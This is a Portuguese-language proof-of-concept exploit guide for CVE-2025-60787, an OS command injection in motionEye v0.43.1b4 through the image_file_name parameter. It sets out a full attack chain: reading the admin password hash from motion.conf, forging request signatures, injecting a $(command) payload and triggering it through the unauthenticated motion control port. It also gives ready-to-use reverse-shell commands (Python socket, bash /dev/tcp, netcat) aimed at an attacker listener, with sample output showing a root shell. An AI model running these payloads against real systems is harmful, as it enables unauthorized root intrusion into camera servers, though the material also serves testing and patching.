Prova de conceito de exploit para CVE-2025-60787, uma injeção de comandos do sistema operacional no motionEye v0.43.1b4, permitindo execução remota de código por meio do parâmetro image_file_name manipulado.
MotionEye v0.43.1b4 Injeção de Comandos do SO
Um exploit de prova de conceito de Injeção de Comandos do SO para a vulnerabilidade no motionEye, um frontend web para o daemon motion. A vulnerabilidade abusa do parâmetro de configuração image_file_name, que é passado diretamente ao shell sem sanitização, permitindo injeção arbitrária de comandos por meio da sintaxe de subshell $(command).
Aviso: Utilize apenas contra sistemas nos quais você tenha permissão explícita para testar. O uso não autorizado é ilegal.
O motionEye passa o valor de configuração image_file_name diretamente ao daemon motion como um padrão de nome de arquivo de shell. O motion avalia expressões de subshell $(...) dentro dos nomes de arquivo no momento do snapshot, o que significa que qualquer comando colocado dentro de $(...) é executado como o usuário que executa o processo do motion (tipicamente root).
A cadeia completa do ataque é:
1. Read admin_password hash from /etc/motioneye/motion.conf
↓
2. Derive cookie hash = SHA1(admin_password_hash)
↓
3. Compute HMAC signature using motionEye's exact algorithm:
SHA1("METHOD:path:body:key")
↓
4. POST malicious config to /config/{cam}/set/ with:
image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
↓
5. Trigger snapshot via unauthenticated motion control port 7999
↓
6. Motion evaluates the filename → command executes as root
↓
7. Reverse shell connects back to attacker machine
8765)/etc/motioneye/motion.confnc)Nenhum pacote Python de terceiros é necessário — o exploit utiliza apenas a biblioteca padrão.
O arquivo de configuração do motionEye armazena a senha do administrador como um hash SHA1. Leia-o do alvo:
cat /etc/motioneye/motion.conf
Procure pela linha de comentário @admin_password:
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
O valor após
@admin_passwordé um hash SHA1 da senha em texto puro, não a senha em si. Este hash é o que você precisa para o exploit.
Observe também o valor de webcontrol_port — esta é a porta de controle do motion sem autenticação, usada para acionar os snapshots:
webcontrol_port 7999
webcontrol_localhost on
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
camera camera-2.conf
O motionEye utiliza um esquema de autenticação com hash duplo:
plaintext_password
│
▼ SHA1
admin_password ←── stored in motion.conf as @admin_password
│
▼ SHA1
cookie_hash ←── sent in browser cookie as meye_password_hash
│
▼ used as HMAC key
request_signature ←── _signature= parameter in every API request
O exploit deriva o hash do cookie automaticamente a partir do hash de configuração:
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
Você pode verificar isso manualmente:
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052
A assinatura é calculada a partir do código-fonte do motionEye em
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:
SHA1("METHOD:path:body:key")
Onde:
METHOD — método HTTP (POST)path — URI com _signature removido da query string, parâmetros ordenados, valores codificados em URL e então filtrados por _SIGNATURE_REGEXbody — string bruta do corpo JSON filtrada por _SIGNATURE_REGEXkey — ou admin_password ou admin_hash (o motionEye aceita ambos), filtrada por _SIGNATURE_REGEXO _SIGNATURE_REGEX remove qualquer caractere que não esteja em [a-zA-Z0-9/?_.=&{}\[\]":, -], substituindo-os por -.
Abra o exploit.py e defina as seguintes variáveis no topo:
MOTIONEYE_URL = "http://127.0.0.1:8765" # motionEye web UI URL
MOTION_URL = "http://127.0.0.1:7999" # motion control port (no auth)
USERNAME = "admin" # admin username (default: admin)
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # from motion.conf
LHOST = "10.10.16.153" # your listener IP — the target must be able to reach this
LPORT = "4444" # your listener port
O comando da reverse shell é definido automaticamente a partir de LHOST e LPORT:
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
Comandos alternativos de shell — troque o COMMAND se o padrão estiver bloqueado:
# Bash TCP (simple, may be filtered)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
# Netcat with -e flag
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
# Netcat without -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
Na sua máquina de ataque, inicie um listener netcat antes de executar o exploit:
nc -lvnp 4444
O exploit pausa por 5 segundos após exibir o lembrete do listener, dando a você tempo para alternar de terminal.
python3 exploit.py
Saída esperada:
============================================================
motionEye RCE — Reverse Shell
============================================================
[*] LHOST : 10.10.16.153
[*] LPORT : 4444
[*] Command : python3 -c '...'
[!] Start your listener NOW:
nc -lvnp 4444
[*] Sending payload in 5 seconds...
[*] cam=2 key=admin_password ts=1773484327292
sig=abc123...
status=200 resp={}
[+] Config saved! cam=2 key=admin_password
[*] Triggering snapshots via port 7999 (no auth)...
[+] cam 0 → 200 Snapshot for camera 0 Done
[+] cam 1 → 200 Snapshot for camera 1 Done
[+] cam 2 → 200 Snapshot for camera 2 Done
[+] Snapshot triggered — check your listener on 10.10.16.153:4444
No seu listener, você deve receber:
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#